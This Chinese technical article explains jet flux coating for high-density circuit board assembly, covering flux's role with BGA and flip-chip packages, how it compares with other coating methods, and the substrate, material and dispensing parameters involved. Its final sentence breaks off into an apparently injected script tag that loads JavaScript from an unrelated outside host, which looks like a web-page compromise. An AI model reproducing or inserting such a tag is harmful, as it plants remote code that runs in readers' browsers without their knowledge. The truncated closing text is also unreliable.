喷射式涂敷技术在高密度线路板组装中的应用

随着线路板上元器件封装尺寸不断缩小以及密度不断升高,电子组装对助焊剂涂敷精度和可靠性方面的要求也在不断提高。本文介绍一种喷射式涂敷技术,它具有极佳的边界涂敷形状,并可改进助焊剂涂敷的厚度控制情况。

  在电子组装生产中,无论是焊接球栅格阵列(bga)、板上倒装片(fcob)、带封装倒装片(fcip)、多芯片模块(mcm)还是直接芯片贴装(dca)封装形式的器件,助焊剂都具有不可替代的作用。随着这些封装尺寸不断缩小以及密度不断升高,对助焊剂的涂敷精度和可靠性要求也在不断提高。

  目前有多种助焊剂选择性涂敷方式可供制造商们挑选,如人工及自动刷涂、针式点涂、针式转移、浸涂、丝网印刷、模板印刷以及超声涂敷等,这些工艺很多都可用于选择性涂敷。但这些方法在多数情况下助焊剂要与基板表面直接接触,有时还要暴露在空气中,而另一些方式则受速度的限制,并且需要用涂敷掩膜。因此,这些工艺几乎都不能克服助焊剂涂敷所面临的各种困难,如:

·只在所需区域涂敷,同时与贴片机保持相同的生产进度

  ·在要求的区域内涂敷均匀

  ·涂敷稳定、涂层薄,且具有足够的助焊性能

  ·助焊剂用量与残留物都很少

  ·所要求区域以外及基准对位点上不能有助焊剂

  ·芯片周围的无源元件不会发生污损及墓碑现象。

  为取代传统的助焊剂涂敷技术,如今出现了一种喷射式涂敷,它可以形成超薄的涂层及高清晰涂敷边界,精确控制助焊剂的涂敷量,从而解决许多助焊剂涂敷方面的问题。涂层薄可避免助焊剂残留物过多,提高连接的可靠性,另外采用喷射方式使得助焊剂涂敷时无须作z方向运动,因此可用于高速度、大批量生产场合。

  影响助焊剂选择性涂敷的因素有很多,我们先给出一些关键变量的定义,然后对工艺参数进行解释,介绍几种喷射方式,最后对试验结果进行分析。

工艺参数

  助焊剂作选择性涂敷时,有三组基本参数会影响工艺过程与最终结果:

  涂敷结果=基板参数+材料参数+涂敷参数

  基板参数:基板参数直接影响液体材料在其表面上的流动性。镀金触点的周围可能80%是裸露的fr-4基板,其余部分是阻焊层,各种表面的表面张力不同,从而导致不同的流动特性。除表面张力外,影响流动性的其它参数包括板面平整度、通孔的数量以及表面清洁度等。

  材料参数:材料参数决定了助焊剂的特性,材料的流变性由溶剂、稀释成分、表面活性剂及活性成份等一起决定。

  涂敷参数:这部分参数直接影响涂敷的最终结果,它们一直由系统控制器内涂敷头上的调节器进行控制。影响工艺效果最主要的涂敷参数包括压力、阀门微调情况和喷嘴尺寸。

  压力:涂敷器采用压力推进系统实现材料的供给,压力的大小决定了每次材料喷出的数量,同时喷头还要有足够的压力以形成适当的流量。

  阀门微调:所谓微调就是指阀门的开启量,阀门开口大小与从喷孔喷出的材料数量成正比。

  喷嘴尺寸:喷嘴是喷射过程的最后一段,喷嘴有两种不同的设计,直接影响着材料的涂敷量与涂敷形状。喷嘴的口一般呈圆柱形,开口尺寸应根据助焊剂粘度不同而进行更换以控制涂敷的数量。

喷涂工艺

  对线路板组装而言,目前很多种助焊剂都可以满足各种涂敷方式以及对粘度的不同要求。如针式点涂工艺要用非常稀(即粘度很低)的助焊剂,而丝网印刷则要用膏状助焊剂,因此可以使用的助焊剂粘度范围非常宽,从很低(含80%~97%异丙醇)的液状助焊剂到粘度超过200kcps的膏状助焊剂?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计